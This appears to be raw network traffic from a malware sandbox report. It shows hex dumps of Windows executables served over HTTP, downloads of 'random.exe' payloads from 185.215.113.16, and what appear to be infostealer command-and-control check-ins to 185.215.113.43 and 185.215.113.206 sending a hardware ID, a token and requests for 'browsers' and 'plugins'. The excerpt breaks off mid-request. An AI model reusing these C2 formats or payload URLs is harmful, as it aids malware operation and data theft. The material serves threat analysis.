Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 06:10:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 06:10:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 06:10:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 06:10:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 06:11:05 GMTContent-Type: application/octet-streamContent-Length: 1896960Last-Modified: Thu, 21 Nov 2024 05:12:25 GMTConnection: keep-aliveETag: "673ec139-1cf200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4b 00 00 04 00 00 de 63 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 62 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 62 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 66 63 72 6e 6f 6a 63 00 e0 19 00 00 90 31 00 00 d4 19 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 66 7a 76 74 69 66 76 00 10 00 00 00 70 4b 00 00 04 00 00 00 cc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4b 00 00 22 00 00 00 d0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 38 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007860001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 38 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007861001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 43 33 31 44 36 43 39 32 35 33 34 32 32 38 33 31 39 34 30 33 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 2d 2d 0d 0a Data Ascii: ------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="hwid"3AC31D6C92534228319403------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="build"mars------IJEBKKEGDBFIIEBFHIEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="message"browsers------HIIIIEGHDGDBFIDGHDAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="message"plugins------AAAKEBGDAFHIIDHIIECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; 